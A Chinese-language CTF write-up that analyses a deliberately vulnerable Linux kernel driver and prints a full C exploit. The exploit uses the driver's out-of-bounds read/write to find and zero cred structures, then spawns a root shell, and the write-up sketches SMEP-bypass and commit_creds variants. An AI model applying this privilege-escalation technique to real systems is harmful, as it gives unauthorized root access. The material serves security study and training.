0x00 赛题背景及环境:
环境要求:
此题目采用 VirtualBox (VMware) + Ubuntu 14.04.4 LTS 32bit桌面版,参赛者须自己搭建,安装完成后请不要升级内核;
题目描述:
此题提供一份驱动源码,参赛者按照INSTALL步骤自己编译、加载驱动设备到ubuntu,利用驱动中一个漏洞(利用其它内核漏洞没分)实现从shell到root的提权;
提交文件:
1) exp二进制文件;
2) exp源码;
3) 解题思路;
评分标准:
1) 绕过smep提权100分;
2) 不能绕过smep提权50分;
学习大纲:
1.搭建环境,并复现exp提权
2.分析漏洞,修改exp
0x01 解题大纲
1.编译安装驱动
下载的内容
cd到文件目录make编译并安装驱动
-
make
-
sudo insmod mem_driver.ko
-
sudo chmod 666 /dev/memdev*
直接make 编译该驱动,生成mem_driver.ko文件
insmod mem_driver.ko 通过insmod命令用于将mem_driver模块加载到内核中。并使用lsmod查看是否加载成功。Linux有许多功能是通过模块的方式,在需要时才载入kernel。
使用这个https://www.52pojie.cn/thread-485820-1-1.html exp编译运行:gcc mexp.c -o mexp
open失败是因为没设置/dev/memdev0的初始权限位。
可以看到exp运行成功了,美滋滋!
0x02漏洞分析
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p = *ppos;
unsigned int count = size;//
int ret = 0;
struct mem_dev *dev = filp->private_data;
if((dev->size >> 24 & 0xff) != 0x5a)
return -EFAULT;
if (p > dev->size)
return -ENOMEM;
if (count > dev->size - p)
count = dev->size - p;
if (copy_to_user(buf, (void*)(dev->data + p), count)) {
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}
return ret;
}
static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p = *ppos;//偏移量
unsigned int count = size;//用户态传入的size
int ret = 0;
struct mem_dev *dev = filp->private_data;//获得设备结构 {size=0x5a000008,data=8}
if((dev->size >> 24 & 0xff) != 0x5a)//一:判断传入size的大小以0x5a开头(前8位)
return -EFAULT;
if (p > dev->size)//二:判断文件指针是否超过了dev的size
return -ENOMEM;
if (count > dev->size - p)//三:判断用户初入的count是否超过了dev剩下的大小。也就是说count的值不超过0x5a000008即可通过校验。
count = dev->size - p;
if (copy_from_user((void *)(dev->data + p), buf, count)) {//将count大小的数据从用户态的buf写入到 dev->data+p的位置
ret = -EFAULT;
} else {
*ppos += count;
ret = count;
}
//ioctl申请了8字节的读写,实际能写count字节的数据。是个任意写漏洞 (mem_read同理为读漏洞)
return ret;
}
static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct mem_init data;//在内核态构建data数据
/**
struct mem_init {
uint32_t idx;
uint32_t len;
} data = {0, 8};
**/
if(!arg)
return -EINVAL;
if(copy_from_user(&data, (void *)arg, sizeof(data))) {//将用户态的data传入到内核
return -EFAULT;
}
if(data.len <= 0 || data.len >= 0x1000000)//判断传入的data的结构大小
return -EINVAL;
if(data.idx < 0)
return -EINVAL;
switch(cmd) {
case 0:
//idx=0 len=8
mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);//0x5a000008
mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);//驱动使用kmalloc申请了len大小的空间
/**
struct mem_dev //设备的size远远大于data指向的空间
{
unsigned long size;//0x5a000008
char *data;//8
};
**/
if(!mem_devp[data.idx].data) {
return -ENOMEM;
}
memset(mem_devp[data.idx].data, 0, data.len);//将data当前位置后面的8个字节用 0 替换并返回指针
break;
default:
return -EINVAL;
}
return 0;
}
static const struct file_operations mem_fops =
{
.owner = THIS_MODULE,
.open = mem_open,
.read = mem_read,
.write = mem_write,
.unlocked_ioctl = mem_ioctl,
.llseek = default_llseek,
.release = mem_release,
};
0x03 exp编写
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#define MAX_CHILDREN_PROCESS 1024
struct cred {
// unsigned long usage;
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
// unsigned long securebits; /* SUID-less security management */
// kernel_cap_t cap_inheritable; /* caps our children can inherit */
// kernel_cap_t cap_permitted; /* caps we're permitted */
// kernel_cap_t cap_effective; /* caps we can actually use */
// kernel_cap_t cap_bset; /* capability bounding set */
// unsigned char jit_keyring;
// void *thread_keyring;
// void *request_key_auth;
// void *tgcred;
// void *security; /* subjective LSM security */
} my_cred = {0};
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;//addr_limit表示进程可访问的地址空间
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
struct mem_init {
uint32_t idx;
uint32_t len;
} data = {0, 8};
static pid_t pids[MAX_CHILDREN_PROCESS];
static int children_num;
static void tryRoot()
{
raise(SIGSTOP);/* 在子进程中使用raise()函数发出SIGSTOP信号,使子进程暂停 */
if (getuid() == 0) {
printf("root success!\n");
system("/bin/sh");
}
exit(0);
}
static void sprayingChildProcess()
{
int i;
int pid;
for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
pid = fork();
if (pid < 0) {
break;
}
else if (pid == 0) {
tryRoot();//尝试root
}
else {
pids[i] = pid;
}
}
children_num = i;
}
static void setMyCred() {
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t ruid;
gid_t rgid;
getresuid(&ruid, &euid, &suid);
getresgid(&rgid, &egid, &sgid);
my_cred.uid = getuid();
my_cred.gid = getgid();
my_cred.suid = suid;
my_cred.sgid = sgid;
my_cred.euid = euid;
my_cred.egid = egid;
my_cred.fsuid = getuid();
my_cred.fsgid = getgid();
}
//2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
static int searchCred(int fd) {
int ret;
char buf[4096];
int p;
int cred;
//set当前进程的cerd结构
setMyCred();
ret = ioctl(fd, 0, &data);
if (ret != 0) {
perror("ioctl");
return 0;
}
while (1) {
ret = read(fd, buf, 4096);
if (ret != 4096) {
perror("read");
return 0;
}
//3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
p = memmem(buf, 4096, &my_cred, sizeof(my_cred));//若my_cred在4096这块内存里返回首次出现的地址起始的位置的指针
if (p) {
printf("we found cred.\n");
printf("p=%d,(int)buf=%d,offset=%d\n",p,(int) buf, lseek(fd, 0, SEEK_CUR));
cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;//SEEK_CUR 以目前的读写位置往后增加offset个位移量。 lseek返回目前的读写位置,也就是距离文件开头多少个字节。
//没有完全理解这句代码的含义,估计是距离fd指针的位置
return cred;
}
}
return 0;
}
//匹配成功后,使用`write`修改其cred结构体,完成root;
static void modifyCred(int fd, int cred)
{
struct cred new_cred;
lseek(fd, cred, SEEK_SET);//SEEK_SET 将读写位置指向文件头后再增加cred个数的位移量。
memset(&new_cred, 0, sizeof(new_cred));//将这块区域内大小的数据全置为0
write(fd, &new_cred, sizeof(new_cred));
printf("modify cred over.\n");
}
/**
1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
4. 匹配成功后,使用`write`修改其cred结构体,完成root;
**/
int main()
{
int fd;
int cred;
int i;
//1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
sprayingChildProcess();
fd = open("/dev/memdev0", O_RDWR);
if (fd < 0) {
perror("open");
goto out;
}
cred = searchCred(fd);
if (cred == 0) {
goto out;
}
modifyCred(fd, cred);
out:
if (fd > 0) {
close(fd);
}
for (i = 0; i < children_num; ++i) {
kill(pids[i], SIGCONT);/* 在父进程中收集子进程发出的信号,并调用kill()函数进行相应的操作 */
}
while (1) {
if (wait(NULL) < 0) {
break;
}
}
return 0;
}
0x04 总结:
-
1.其实主要也就是复现和分析了漏洞的代码
了解linux驱动漏,并通过该任意地址读写的漏洞修改进程的cred从而进行提权。
-
2.了解linux内核防护措施semp,并尝试绕过
semp禁止在内核执行用户态的代码。 -
3.作者留下的进一步利用代码的思路:
这里还有其他几种root方案:本文提到的是一种比较粗暴的方法,有一定的失败几率,比如当喷射的cred全部都位于驱动kmalloc的下面,searchCred
就会失败。
A:另外这种通过直接匹配uid、gid的方式总感觉有些不靠谱,还有个更好的方案是匹配thread_info结构体的comm成员,从而找到cred地址,然后利用slab的freelist将本文内存写漏洞转变为内存任意地址写漏洞,
最后修改cred结构体信息即可,具体代码留给读者实现。
B:利用漏洞将找到所有 task_info 的 addr_limit 改掉,找到有权限的子进程继续提权。当然这种方法很不稳定。可以通过设置查找 comm 来精确定位。
C:通过修改tty_struct结构体修改函数的执行流,然后再patch绕过semp。最后直接返回用户空间然后以ring0的身份调用函数commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份。